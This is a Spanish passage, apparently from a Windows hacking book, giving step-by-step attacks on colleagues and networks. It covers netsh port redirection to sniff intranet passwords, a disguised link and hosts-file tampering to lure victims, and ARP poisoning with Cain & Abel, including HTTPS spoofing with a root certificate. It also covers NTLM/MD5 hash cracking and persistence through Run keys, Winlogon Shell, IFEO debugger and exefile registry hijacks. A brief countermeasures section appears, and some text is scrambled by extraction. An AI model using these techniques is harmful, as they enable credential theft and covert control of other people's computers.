Si un servidor web con una página de autenticación fuese alojado en nuestro equipo, el hecho de escuchar el tráfico de la red gracias a un sniffer nos permitiría disponer de la contraseña del usuario, y esto, sin acceder al formulario o a la base de datos de la aplicación. Podríamos crear entonces un formulario web falso, como se explica en el capítulo Desarrollar sus propias herramientas de hacking. Disponemos también de una manera más sencilla que no es muy conocida. Vamos a solicitar al usuario que se conecte al formulario original, pero desviando el tráfico de red por nuestro equipo. Escucharemos la red con un sniffer y tendremos entonces acceso a las informaciones de autenticación sin tener que imitar la página de login original.

a. Configuración de la redirección

Vamos a redirigir un puerto de nuestra elección hacia el destino. En nuestro caso, el destino será el servidor de intranet que dispone del formulario web donde el usuario se autenticará. Para ello, debemos conocer nuestra IP, así como la IP y el puerto del destino. Ejecute

ipconfig en una ventana CMD para obtener su IP.

Haga un ping al destino para obtener la IP del servidor. El puerto es en general el 80 para un servicio web.

Vamos a redirigir nuestro puerto 8080 hacia el puerto 80 del servidor. Ejecute el comando con privilegios elevados.

netsh interface portproxy set v4tov4 listenport=8080 listenaddress=192.168.33.130 connectaddress=192.168.33.11 connectport=80 protocol=tcp Este comando nos permite redirigir el tráfico que llega al puerto 8080 de nuestra IP hacia el servidor de destino en el puerto 80.

A partir de ahora, todo el tráfico que llega a nuestro puerto 8080 se enviará hacia el formulario web normal.

b. Enviar el objetivo a nuestro sitio web

Debemos obligar ahora a la persona objetivo a que se conecte al servidor pasando por nuestra máquina. Para ello, puede pillarla poniendo un enlace en un sitio web que deberá codificarse de la siguiente manera para que sea más complicado verle:

intranet Utilizando una URL del estilo, el usuario será engañado fácilmente. El enlace que aparece es intranet y, aunque se mantenga sobre él, la URL que aparece no hace dudar al usuario de que el destino es el correcto. Será redirigido hacia el destino después de hacer clic en el enlace.

Podríamos modificar también el fichero hosts de la víctima para que, si escribe la dirección del sitio web en su navegador, el tráfico llegue aun así a nuestro PC. Para ello, debemos primero redirigir nuestro puerto 80 hacia el servidor verdadero. Después enviaremos un programa a la víctima que modificará la resolución de nombres en su PC. La redirección es la misma que en el caso anterior, salvo por el puerto de escucha.

netsh interface portproxy set v4tov4 listenport=80 listenaddress=192.168.1.37 connectaddress=192.168.1.56 connectport=80 protocol=tcp Cree un nuevo fichero bat o vbs para modificar el fichero hosts del objetivo. ¡¡Cuidado!! La modificación del fichero hosts de un equipo objetivo necesita los permisos de administradores. Esta es la razón de que no sea una técnica a la que se deba dar prioridad.

El fichero hosts se encuentra en la ruta C:\Windows\System32\Drivers\etc\.

El fichero deberá tener la siguiente línea:

192.168.1.37

Intranet

A

partir de ese momento, todo el tráfico hacia la intranet será reenviado a nuestro equipo. Desde Windows Vista, Microsoft utiliza por defecto la resolución de nombres en el siguiente orden:

1. Fichero hosts

2. Servidor DNS

3. Servidor WINS

4. Fichero de nombres NetBIOS

También es posible modificar las entradas en el servidor DNS, pero esto parece complicado, ya que primero se debería piratear el servidor, que resulta ser en la mayoría de los casos el controlador de dominio.

Mejor añadimos una entrada similar. Puede renombrar su PC, lo que necesita permisos de modificación sobre los objetos «equipo» en el Active Directory. Un buen truco consiste en crear una máquina virtual y llamarla Intranet0 o algo parecido. Es posible que esta operación baste para añadir el nombre al servidor DNS, ya que el cliente DNS de Windows intenta registrarse en el servidor DNS definido al arrancar la conexión. Se puede también forzar el comando si el equipo no se ha registrado en el dominio con:

Ipconfig /registerdns La seguridad por defecto de la zona DNS almacenada en el Active Directory no permite añadir un registro no protegido.

Entonces se debe añadir el PC al dominio. Haga clic con el botón derecho en las propiedades del equipo y elija Modificar los parámetros - Identidad de red. Seleccione Este equipo forma parte de una red organizativa y lo utilizo para conectarme a otros equipos en el trabajo.

Haga clic en Mi organización utiliza una red con un dominio. Inserte sus informaciones de conexión al dominio.

No es necesario ser administrador del dominio para realizar esta acción. Por defecto, un usuario autenticado puede añadir hasta 10 equipos al dominio.

c. Escuchar y analizar el tráfico de red

Ahora que el tráfico del usuario pasa por nuestro equipo, solo nos queda guardarlo y analizarlo. Necesitaremos un sniffer como Wireshark o Microsoft Network Monitor para llevar a cabo esta fase. Arranque el monitor de red Microsoft o Wireshark.

Compruebe sus modificaciones accediendo a la URL de su PC desde un equipo distinto al suyo con el puerto elegido, por ejemplo: http://192.168. 1.37:8080. Debería ver el formulario del servidor remoto. Inserte un nombre de usuario y una contraseña de prueba, como admin y passtest. Pare la grabación de los paquetes y observe los que ya ha recibido. Para ayudarse, puede filtrar el resultado de Wireshark con el puerto de recepción. Escriba Tcp.port eq 8080. Analice los paquetes hasta encontrar el pertinente. En el ejemplo, vemos, en un paquete de 192.168.1.79 hacia 192.168.1.37 en el puerto 8080, una petición de tipo HTTP POST con los parámetros&txtusuario=admin&txtpassword=passtest&.

La redirección de puertos nos ha permitido presentar el formulario original al usuario, pero haciéndole pasar por nuestro sniffer.

6. ARP poisoning en Windows

Lo ideal al realizar un ataque es que el tráfico pase por el equipo del atacante, pero hasta ahora hemos tenido que pedir indirectamente al usuario que venga hasta nosotros. El ARP poisoning nos permitirá enviar el tráfico a nuestro PC sin que el usuario tenga la más mínima idea de lo que realmente pasa. Es una de las técnicas más potentes de este libro, ya que permite obtener informaciones de la víctima de manera transparente. Es además relativamente discreta y fácil de poner en marcha. Pero entonces, ¿cómo funciona y que es ARP?

a. ARP, ¿qué es?

ARP está por debajo de IP en el modelo OSI. Hace el enlace entre IP, con la que una aplicación comunica, y el hardware que recibe/envía la comunicación. Cuando un paquete IP parte hacia un equipo remoto, la resolución ARP se usa para saber qué tarjeta de red debe recibir el paquete. Si mi PC comunica con un equipo en la misma red que el mío, tendré en la caché ARP la IP y la dirección MAC del equipo remoto. Si comunico con un equipo que no se encuentra en mi misma red, la caché guardará solamente la MAC de la puerta de enlace. Puede consultar la caché ARP con el comando

arp -a.

Se ven también las direcciones de difusión.

Es posible forzar el registro de una entrada en la caché para redirigir una IP hacia la misma tarjeta de red de destino. Esto se llama una entrada persistente, pero eso necesita permisos de administradores en el equipo remoto. Aunque no resulta de mucho interés para nosotros, presentamos el comando que permite realizar esta acción en la medida en que desee engañar una aplicación.

Para saber nuestra dirección MAC, teclee

ipconfig /all.

Después, ejecute el comando siguiente en el equipo objetivo, reemplazando la dirección MAC por la suya:

arp -s 192.168.1.90 00-aa-00-62-c6-09 Ahora, todo el tráfico inicialmente previsto para 192.168.1.90 será redirigido hacia su equipo. Solo queda «aspirar» el tráfico con Wireshark o Microsoft Network Monitor, como se ha visto en el apartado anterior.

Esta técnica necesita la intervención del usuario, que además debe ejecutar su aplicación trampa con permisos de administradores. Vamos a simplificar el ataque para que no tenga que intervenir.

b. ARP poisoning con Cain & Abel

Primero, debe comprender cómo funciona la resolución ARP. Al solicitar una conexión, por ejemplo un navegador web hacia un servidor web local, ARP va a resolver la dirección MAC del servidor desde su caché, si existe la entrada. Si no existe ninguna entrada, ARP va a lanzar un paquete broadcast para que el equipo de destino conteste. Es allí cuando interviene el «envenenamiento» de la caché ARP o ARP poisoning. El programa envía una respuesta a una petición de resolución al equipo objetivo antes de que el equipo auténtico pueda responder. El equipo objetivo registra entonces una dirección MAC incorrecta para resolver una dirección IP dada. Todo el tráfico enviado del equipo objetivo a la IP del servidor será en verdad reenviado al equipo pirata, y después redirigido hacia el servidor correcto. Entre tanto, el tráfico ha podido ser almacenado y analizado.

Vamos a usar una herramienta de pirateo que se puede instalar en Windows, WinPcap. Debe instalar primero una versión reciente de WinPcap si usa Windows 8. Encontrará el fichero de instalación en: http://www.winpcap.org/ Descargue e instale Cain & Abel en la URL: http://www.oxid.it/downloads/ca_setup.exe Una vez Cain & Abel instalado, ejecute en la línea de comandos el comando siguiente para que la herramienta pueda funcionar correctamente: Desacti Netsh int ip set global taskoffload=disable ve su cortafuegos en lo posible. Si una política de grupo le impide parar el servicio del cortafuegos, vaya al capítulo Superar las restricciones de software para saber cómo atajar el problema. Ejecute Cain & Abel y active la escucha de la red con el segundo botón por la izquierda. Acceda a la pestaña Sniffer.

Pulse el botón + y el programa le propondrá escanear la red para buscar los equipos presentes. Marque la opción All Tests en la ventana que aparece.

El escáner debería identificar los equipos de su red:

Haga clic ahora en el botón APR situado en la parte inferior de la ventana.

Haga clic en la zona de arriba, allí donde hay líneas para que el + se active. Haga clic en el +.

La ventana que aparece le permite elegir desde y hacia qué equipo se redirigirá el tráfico. Elija el equipo fuente y el de destino cuyo el tráfico será enrutado hacia el suyo.

El «envenenamiento» debe empezar hasta conseguir un resultado similar a la imagen siguiente. Esto indica que el tráfico pasa efectivamente por su equipo.

Si va a la pestaña Passwords que hay abajo, encontrará las contraseñas detectadas. Si el usuario visita un sitio web cifrado, el programa crea un certificado y lo envía al usuario. Vemos a continuación una contraseña HTTP y dos contraseñas IMAP registradas por el programa.

En caso de que no ocurra nada, puede cambiar la tarjeta de red de escucha en las opciones. En el menú, haga clic en Configure y elija la interfaz de red correcta.

También en las opciones, puede añadir el nombre de los campos de usuario y contraseña de los formularios web rellenados por el usuario para que el programa los reconozca como tales.

c. Configurar Cain & Abel para analizar el tráfico HTTPS

El programa toma en cuenta el tráfico HTTPS. Sin embargo, por defecto, reenvía un certificado firmado por la aplicación. El servidor remoto no es, por lo tanto, validado por el navegador y el usuario se dará cuenta rápidamente del problema. Para subsanarlo, Cain & Abel dispone de la posibilidad de insertar un certificado raíz con su clave privada. El resultado es mágico, los certificados enviados a la víctima son validados si el usuario tiene en su almacén el certificado raíz.

Para configurar un certificado raíz, primero debe exportarlo desde la autoridad de certificación. Después acceda al menú de opciones haciendo clic en Configure, y acceda a la pestaña Certificate Spoofing. Debe convertir el certificado raíz que ha exportado desde la autoridad de certificación. Para ello, haga clic en Certificate conversion y, cuando se solicite, escriba la contraseña especificada en el momento de la exportación.

Ahora puede seleccionar el nuevo certificado .crt creado por Cain & Abel.

En adelante, cuando un navegador pida un certificado a Cain & Abel, este le enviará un certificado firmado por una autoridad que reconoce.

Las etapas de exportación de un certificado, así como de la instalación del certificado público raíz en el equipo objetivo, se describen en el apartado Introducción a los certificados y a HTTPS.

d. Usar Cain & Abel para encontrar la contraseña de un usuario del dominio

Una vez que el tráfico es enviado a Cain & Abel, este es capaz de mostrar todas las informaciones interesantes. Cuando redirigimos el tráfico de un PC que pertenezca al dominio, obtendremos entonces el hash de la contraseña del usuario de este equipo.

Encontrará estas informaciones en la pestaña Sniffer - Passwords.

Para encontrar la contraseña, haga clic con el botón derecho en el usuario y después en Send to Cracker. Vaya después a la pestaña Cracker.

Si el campo LM Hash tiene un valor, entonces será muy fácil encontrar la contraseña. Si no, quedará la posibilidad de romperla por fuerza bruta, con un diccionario o simplemente probando contraseñas al azar. Veremos otras opciones de esta herramienta en el apartado siguiente.

7. Software y herramientas para romper las contraseñas a. Tipos de cifrado

Existen dos grandes familias para proteger las contraseñas almacenadas en un sistema. La primera es el cifrado usando una clave simétrica (la misma clave cifra y descifra) con algoritmos como DES y 3DES. La segunda es el cifrado con claves asimétricas (una clave distinta para el cifrado y el descifrado) con algoritmos como RSA y Diffie-Hellman. Este último tipo es muy usado: la seguridad del protocolo HTTPS y los certificados están basados en estos algoritmos.

El resumen no consiste en cifrar una contraseña, sino en calcular un hash gracias a algoritmos como SHA1, MD4 o MD5. Es una técnica muy utilizada, ya que la contraseña no puede ser descifrada como tal. Además, si una contraseña fuese cifrada en vez de resumida, la clave de descifrado debería forzosamente estar almacenada en el sistema, lo que representaría un punto de fallo en la seguridad. El hash es irreversible. Pero no es porque no se puede descifrar que no se puede encontrar la contraseña.

Para encontrar una contraseña cifrada con DES o 3DES, lo más sencillo no consiste en romperla directamente, sino en encontrar y tomar la clave de descifrado. Para ello se debe observar y analizar el funcionamiento de los programas que la utilizan. Puede consultar la primera parte de este capítulo, donde podrá ver cómo encontrar y descifrar las claves Wifi almacenadas en su equipo.

Las contraseñas de la mayoría de los sistemas operativos, también de los sistemas Windows, están protegidas. No guardan la contraseña en texto plano o con cifrado reversible. Desde Windows Vista, el sistema guarda solamente el hash de la contraseña en NTLM, y no en LM, como se hacía antes. Después el hash se cifra con una clave simétrica, la del sistema (syskey). Dispone de más información al respecto en el apartado ¿Cómo recuperar una contraseña desde la red?

¿Cómo funciona un inicio de sesión si la contraseña no puede descifrarse?

En el inicio de una sesión local, se pide al usuario que indique su nombre y su contraseña, que entonces es transformada en Unicode y después resumida con MD4. Seguidamente, se compara a la que se encuentra almacenada. Y es de la misma manera como puede recuperarse una contraseña a partir de su hash: comparando el hash MD4 de una posible contraseña con el hash de la contraseña almacenada.

b. Principios para romper las contraseñas

Existe multitud de herramientas que permiten romper contraseñas de Windows. Algunas son gratuitas y otras, no. Estos programas utilizan tres tipos de técnicas. Si recogemos nuestra extracción, constataremos que ninguna contraseña LM es almacenada. Algunas herramientas de extracción dan un valor LM, pero será siempre el mismo para todas las contraseñas.

Admin :1006 :No Password :E19CCF75EE54E06B6A5907AF13CEF42 Para probar una contraseña y para entender mejor el funcionamiento de estas herramientas, vamos a tomar un programa de ejemplo que se puede descargar con sus fuentes en nuestro sitio web. Este programa permite insertar una contraseña en texto plano, transformarla en Unicode y resumir el resultado con MD4. Podremos probar por lo tanto la validez de una contraseña.

En el ejemplo utilizamos la contraseña «P@ssw0rd» como la contraseña recuperada por el dump. Encontrará en el capítulo Desarrollar sus propias herramientas de hacking el código .NET de un programa que permite romper una contraseña numérica de hasta 6 cifras. El programa se basa en el principio defuerza bruta para comparar.

c. Fuerza bruta

La primera técnica para romper es la fuerza bruta. El programa prueba combinaciones, una tras otra, basándose en una serie, que transforma en Unicode y que resume de la misma manera que el sistema operativo usa para almacenar una contraseña. Después compara los resultados del resumen con la contraseña que fue recuperada anteriormente con la herramienta de extracción.

Cain & Abel da la posibilidad de romper contraseñas recuperadas desde la red, desde la SAM o importando un fichero dump. Vaya a la pestaña Cracker y haga clic en +.

Elija el usuario y haga clic con el botón derecho del ratón en el usuario. Seleccione, de entre las posibilidades, el medio que se va a utilizar para romper la contraseña.

Para una contraseña de la SAM de Windows, use Brute-Force Attack - NTLM Hashes. Puede también probar una contraseña, como en el programa anterior para el que se suministran las fuentes.

En un ataque por fuerza bruta, puede elegir los caracteres, así como la longitud máxima y mínima de la contraseña que se va a probar.

Para saber cómo configurar el programa, puede inspirarse en la política de seguridad aplicada a su equipo. La encontrará abriendo gpedit.msc. Para más información sobre este asunto, vaya el capítulo Búsqueda de información.

d. Diccionario

La segunda técnica es similar, también representa un ataque de fuerza bruta. No se basa en series, sino en diccionarios, donde las informaciones están en texto plano y las contraseñas son leídas, trasformadas en Unicode y resumidas para después compararlas a las extraídas del sistema.

Cain & Abel permite también el uso de un diccionario. Uno de ellos se suministra con el programa en la siguiente ruta: C:\Program Files (x86)\Cain\Wordlists\Wordlist.txt

Puede crear su propio diccionario partiendo de programas que generan palabras o frases para hacer una lista adaptada a un contexto.

e. Rainbow table

La última técnica es un poco diferente. Se basa en una especie de base de datos que almacena hashes y sus contraseñas correspondientes. A esta tabla se le llama Rainbow table.

Descargue e instale 0phcrack. Es un programa gratuito de la empresa suiza Objectif Sécurité. La encontrará en el siguiente enlace: http://ophcrack.sourceforge.net/ Al instalarla, seleccione la descarga de las tablas gratuitas para Windows Vista.

Una vez las tablas descargadas e instaladas, para extraer las contraseñas de la SAM, haga clic enLoad - Local SAM with samdump2. Es posible extraer la SAM de un equipo remoto.

A continuación puede intentar romper las contraseñas. ¡Cuidado! Las tablas gratuitas no contienen todas las posibilidades. Es posible comprar las tablas completas según le sea necesario. Puede consultarlo en el sitio web

de Objectif Sécurité. La ventaja de esta solución es que resulta muy rápido encontrar una contraseña, si lo comparamos con la técnica de fuerza bruta.

Cain & Abel permite también romper contraseñas utilizando sus propias rainbow tables con la ayuda deWinRtGen, que se instala con este.

Encontrará el programa en la ruta: C:\Program Files (x86)\Cain\Winrtgen\WinRtGen.exe

Podrá constatar que con 12 GB de datos cubrirá el 100% de las contraseñas de hasta 5 caracteres, siendo estos caracteres los más frecuentemente usados.

Constatamos también que se necesitan más de 35 TB para romper el 99,99% de contraseñas de 8 caracteres.

Las contraseñas numéricas de hasta 7 caracteres no necesitan de más 6 MB, pero aun así requieren 58 minutos de cálculo. ¿Esto le merece la pena?

Una vez las tablas creadas, basta con seleccionarlas en el menú contextual.

f. Usar SQL

También puede crear sus propias bases de datos con SQL para realizar su programa. El lenguaje SQL permite calcular un hash MD4, pero también permite MD5, SHA1, así como el cálculo de otros algoritmos usados para proteger las contraseñas. Puede gestionar también el almacenamiento y la búsqueda.

g. On-line

Existen servicios web que proponen la búsqueda de contraseñas desde un hash.

http://crackstation.net es uno de ellos. Basta con buscar NTLM crack online en Google.

h. Usando la tarjeta gráfica

Un último programa muy eficaz enlace:http://www.golubev.com/hashgpu.htm

con fuerza

bruta está

disponible

en

el

siguien-te

Se llama IGHASHGPU. Este programa usa la potencia de cálculo de su tarjeta gráfica. La rapidez de respuesta se decuplica.

ighashgpu.exe -h:9D4518F84296B9CE26D02F229870D2D4 -t:md4

El

programa no soporta, desgraciadamente, algunas tarjetas gráficas ATI ni NVIDIA. Por el contrario, puede tener varias tarjetas soportadas instaladas a la vez.

**************************************************************** ***

MD4/MD5/SHA1 GPU Password Recovery v0.70.48.4

***

*** For ATI RV 7X0 cards and nVidia ’CUDA’ ones (G80+) *** *** ***

(c) 2009-2010 Ivan Golubev, http://golubev.com see "readme.htm" for more details

***

***

**************************************************************** *** Any commercial use of this program is strictly forbidden *** *************************************************************

Found 2 CAL device(s) Found 1 CUDA device(s) Starting brute-force attack, Charset Len = 36, Min passlen = 4, Max passlen = 7 Charset (unicode -> 0) [abcdefghijklmnopqrstuvwxyz0123456789] Charset in HEX: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 Starting from [aaaa] Hash type: MD5, Hash: cbe1d6d5800ec1e03a5f2a64882a0d41 We’re running at ATI and NVIDIA GPUs simultaneously. It isn’t that common situation, so some issues possible. Device #0: [RV830] 850.00 Mhz 800 SP Device #1: [RV7x0] 750.00 Mhz 640 SP Device #2: [GeForce 8600 GT] 1188.00 Mhz 32 SP Hardware monitoring disabled. CURPWD: 66owsnc DONE: 51.02% ETA: 13s CURSPD: 2756.0M=1646.0M+1017.4M+92.6M Found password: [roger15], HEX: 72 6f 67 65 72 31 35 Processed 42 228 252 672 passwords in 16s. Thus, 2 731 452 307 password(s) per second in average. En el ejemplo anterior, vemos que con tres tarjetas gráficas es posible probar 2 731 452 307 contraseñas MD5 en 1 segundo.

8. Contramedidas

Solamente es posible romper una contraseña una vez la hayamos recuperado. Por lo tanto, debemos impedir absolutamente esta recuperación. Para ello puede activar NAP (Network Access Protection), que debería garantizar que el antivirus y el cortafuegos estén activados y actualizados.

Active también IPsec con NAP. Esto impedirá a un equipo que no se encuentre en el dominio comunicarse con los equipos protegidos. Así, el tráfico no podrá ser interceptado. Si un usuario redirige el tráfico cifrado hacia su equipo usando la redirección por puerto o por ARP spoofing, no podrá descifrarlo, ni modificarlo si IPsec está activado. ARP spoofing puede ser detectado o bloqueado usando switchs capaces de ver una modificación no habitual en el emparejamiento dirección IP/dirección MAC. Queda también la posibilidad de registrar estáticamente en los servidores las entradas de la tabla ARP IP/MAC con el comando arp, pero esto resulta muy engorroso y poco eficaz.

El proxy de los clientes debe ser configurado mediante una directiva de grupo para que el usuario no pueda modificarla. Los scripts de una página web que capturan la interacción con el teclado son complicados de detectar. Conviene, por lo tanto, sensibilizar a los usuarios sobre las webs falsas y explicarles cómo detectarlas. Debe activar HTTPS en sus servidores web, incluidos los de la intranet. De lo contrario, una simple redirección de puerto permitiría a un usuario recuperar contraseñas en texto plano. El hecho de que un usuario no pueda usar Netsh, la línea de comandos o que no sea administrador de su equipo le impedirá que configure la redirección de puerto con Netsh, aunque sigue siendo posible realizarla con PowerShell.

Los sitios webs internos, así como los externos, deben probarse con herramientas de auditoría con el fin de detectar posibles vulnerabilidades XSS, inyección SQL, CMD, etc. Para ello, puede usar herramientas como W3af (http://w3af.org) o Nikto (http://www.cirt.net/Nikto2), que son gratuitas.

Introducción a .NET Desde 2001, Microsoft ha introducido .NET, un framework que no cesa de evolucionar para llegar, en el momento de realizar este libro, a la versión 4.5. .NET cumple varios objetivos para Microsoft. El primero es entregar un conjunto de clases compatibles con todas las versiones de sus sistemas operativos. En efecto, un programa desarrollado en .NET se puede ejecutar tanto en Windows XP como en Windows 8, mientras el framework está instalado en el equipo. En Windows Vista, .NET 2.0 está integrado. Windows 7 integra las versiones 2 y 3.5, y Windows 8, la versión 4.5. La segunda motivación es dar a los desarrolladores clases, funciones y propiedades compatibles entre varios lenguajes. Por defecto, Microsoft propone varios lenguajes, como C++, VB.NET, J# y, el más utilizado, C#. Esto es posible gracias a la compilación llevada a cabo en .NET. En efecto, el compilador transforma el código VB, C#, etc., en MSIL (Microsoft Intermediate Language). Solo se crea el lenguaje máquina en el momento de la ejecución y esta transformación concierne únicamente a las partes del código utilizadas por el programa. Es el JIT (Just In Time compiler) el que se ocupa de esto. Otra ventaja reside en que su programa no necesita en general ninguna DLL, ya que todas las funciones están integradas en el framework y tienen, por lo tanto, poco peso para unas posibilidades casi infinitas. La siguiente imagen presenta la pila del framework con los avances, dependiendo de la versión.

Microsoft propone una herramienta muy potente, Visual Studio, para desarrollar sus aplicaciones Windows, Windows Phone o web. Este programa permite corregir los errores tipográficos y propone una escritura intuitiva, un debugger y la compilación simplificada, aunque añada referencias o use webservices. Existen versiones gratuitas de Visual Studio y SQL Server. Las versiones gratuitas están limitadas en las posibilidades de conexión y de gestión de bases de datos, en el tipo de desarrollo (por ejemplo, el desarrollo de servicios de Windows solo está integrado a partir de la versión Profesional de pago). Existen otras pequeñas limitaciones, pero, en general, las versiones gratuitas son suficientes para programar nuestras herramientas de hacking. Encontrará los programas en el siguiente enlace: http://www.visualstudio.com/es-es/visual-studiohomepage-vs.aspx

1. ¿Cómo compilar su programa sin Visual Studio?

En la empresa, no siempre es posible instalar un software como Visual Studio aunque este sea gratuito. Sobre todo si, para funcionar, necesita permisos de administrador local. Evidentemente, si dispone de un PC en casa, puede instalarlo y después llevar su programa a la empresa. Pero este escenario no se da siempre; por ejemplo, en un escritorio remoto o en un equipo que no le permite importar un fichero. Felizmente para nosotros, Visual Studio no es necesario para compilar código .NET. Los compiladores para VB, JScript y C# están instalados con la versión .NET de su sistema operativo. En Windows 7, encontrará el compilador de C# que usaremos en el directorio siguiente para arquitecturas x86: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

Y para las versiones de 64 bits: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe

Es posible que su equipo sea actualizado por su administrador e integre, por lo tanto, la última versión del framework.

En Windows 8, no encontrará la versión 2 instalada por defecto. Si desea utilizar dicha versión, debe añadirla desde la consola de instalación/desinstalación de programas. Windows 8 tiene instalada, por el contrario, la versión 4.5, lo que nos permitirá compilar nuestros ejemplos. Encontrará el compilador en el directorio siguiente para arquitecturas x86: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Y para las versiones de 64 bits: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Si utiliza funciones específicas para un tipo de procesador y tiene como objetivo un servidor 2008 R2 o un servidor 2012, acuérdese de compilar con la versión de 64 bits para estar seguro de que se ejecute correctamente en el objetivo.

Para escribir su aplicación, puede usar el Bloc de notas y guardar su código en un fichero de texto.

Una vez creado el documento, podrá compilarlo de la siguiente manera:

Abra una ventana de comandos ejecutando cmd.exe o cree un acceso directo si no tiene permisos para ejecutar cmd. Acceda al directorio donde se encuentra el framework: Ejecute el cd C:\Windows\Microsoft.NET\Framework\v2.0.50727 compilador con los siguientes parámetros:

csc /out:c:\temp\app.exe /target:winexe c:\temp\fichero.txt Explicación:

csc.exe es el compilador C#.

/out permite dar la ruta donde se almacenará la aplicación compilada.

Después tiene elección en cuanto a la salida:

/target :winexe crea una aplicación del tipo Windows Forms.

/target :exe crea una aplicación de consola. Es la salida por defecto.

/target :library crea un fichero DLL.

El último parámetro es el fichero fuente, que en nuestro caso es

fiche-ro.txt.

/win32icon:fichero.ico permite añadir un icono a su aplicación.

/platform:x86 permite especificar que la aplicación solo funciona en una arquitectura x86. Por defecto, se utiliza anycpu. Anycpu significa que la aplicación se ejecutará sin importar el procesador.

Existen otros parámetros y los encontrará ejecutando

CSC.exe / ?.

Si no tiene permisos para abrir una ventana de comandos, no se preocupe. Un acceso directo le permitirá realizar la compilación igual de fácil. Cree un nuevo acceso directo apuntando al compilador con los parámetros:

Modifique la ruta del directorio Iniciar en para que los ficheros temporales se almacenen en un directorio donde tenga permisos de escritura; en el ejemplo C:\temp.

Haga doble clic en su acceso directo y su programa se compilará.

Como habrá constatado, resulta muy sencillo compilar un programa desde un fichero de texto. Gracias a sus nuevos conocimientos, podrá modificar una aplicación para que compile en directo, teniendo en cuenta la configuración y las propiedades intrínsecas del objetivo.

Los ejemplos que siguen han sido probados en Windows 8 Pro. Es posible que algunas líneas de código deban modificarse para que funcione en otras versiones de Windows.

Forzar la ejecución de una aplicación Hacer que un usuario o un administrador ejecute una vez una aplicación trampa es factible. Pero pedir más veces a una misma persona ejecutar una aplicación trampa es arriesgado, ya que la víctima se percatará de que aquí pasa algo. Se arriesga a que la falten excusas. Lo ideal es que su aplicación sea capaz de arrancar remota o automáticamente, lo que provocará su ejecución sin necesidad de intervención por parte del usuario. El arranque automático de una aplicación puede hacerse con diferentes técnicas. Vamos a analizarlas juntos. Algunas necesitan una configuración con permisos de administradores o de sistema, otras son posibles con solamente permisos de usuario. La diferencia reside en el dominio de aplicación. Un cambio con los permisos de usuario solo afectará al usuario objetivo, lo que resulta suficiente en la mayoría de los casos para obtener informaciones deseadas.

1. Los medios clásicos

El arranque automático de un programa modificando el sistema operativo con permisos de administradores puede hacerse de manera clásica: Añadiendo un fichero o un acceso directo en el directorio: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Añadiend o su aplicación

a la siguiente clave de registro: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

En un

sistema de 64 bits, la clave siguiente también se puede usar:

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run configuración debe prepararse como en este ejemplo: Abra el editor del registro Regedit.exe, y busque la clave mencionada. Cree un nuevo valor de tipo Cadena.

Dele un nombre y añada como valor la ruta de su programa.

Sin permisos de administradores, es posible forzar el arranque de una aplicación. •

Añadiendo su aplicación o su acceso directo en el directorio de arranque del usuario: C:\Users\NombreUsuario\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp

Su



Añadiendo una entrada en la clave de registro de arranque del usuario: HK_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run



Cree un nuevo valor de tipo Cadena.



Dele un nombre y añada como valor la ruta de su aplicación. Estos programas arrancarán automáticamente en cuanto un usuario inicie una sesión. Para probar el arranque, cierre la sesión e iníciela de nuevo o reinicie su PC.

2. Los medios no convencionales

Para arrancar su programa automáticamente, existen otras técnicas un poco menos convencionales, como instalar un servicio, reemplazar la Shell, cambiar la ejecución de la imagen de una aplicación o también modificar el comportamiento de la extensión EXE.

Con permisos de administradores, puede hacer las modificaciones siguientes:

Para reemplazar la Shell de arranque por su aplicación: Modifique el valor de la Shell de la clave: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\

Reinicie su PC. Su aplicación

se ejecutará en vez de Windows.

Para modificar el arranque de un ejecutable en particular por el suyo: Añada la clave que corresponde al nombre del ejecutable que se va a reemplazar, por ejemplo para el Bloc de notas (notepad.exe): Añada un HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ valor de tipo CurrentVersion\Image File Execution Options\Notepad.exe Cadena con el nombre debugger y con el valor cmd.exe.

Haga clic en el acceso directo del Bloc de notas o ejecute notepad.exe. Es la consola la que se ejecutará. Modifique el funcionamiento de la extensión EXE. Modifique el valor por defecto de la clave que define cómo se ejecuta un fichero exe. HKEY_CLASSES_ROOT\exefile\shell\open\command

Escriba en su lugar:

Al

cmd.exe /k dir | start %1 ejecutar una aplicación, la línea de comandos arranca y la aplicación deseada arranca a su vez. Inicie Paint para probar el ejemplo.

Las aplicaciones ejecutadas como usuario o con el UAC activado pueden ser modificadas en la siguiente clave: HKEY_CLASSES_ROOT\exefile\shell\runas\command

Cambie los valores

por defecto, así como el valor de IsolatedCommand. cmd.exe /k dir | start %1 con privilegios elevados para probar el cambio.

Arranque un programa

Paint se abre y la consola arranca con permisos de administradores.

Solo con los permisos de usuario es posible realizar casi todo lo que acabamos de ver, pero bajo claves de registro diferentes donde el usuario tiene por defecto un acceso de escritura. Para modificar el sistema de arranque, añada a la clave siguiente una subclave de tipo Cadena con el nombre Shell:

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\

En el

CurrentVersion\Winlogon valor, escriba cmd.exe.

Cierre la sesión y vuelva a iniciarla. El sistema arranca únicamente la línea de comandos. EscribaExplorer.exe si desea arrancar Windows normalmente. Para modificar el comportamiento de un ejecutable por extensión, cree el fichero de registro siguiente:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\exefile]

Ejecute el fichero y haga una prueba abriendo

[HKEY_CURRENT_USER\Software\Classes\exefile\DefaultIcon] @="%1"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open\Command] @="cmd.exe /k dir | start %1" "IsolatedCommand"="\"%1\" %*"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas]

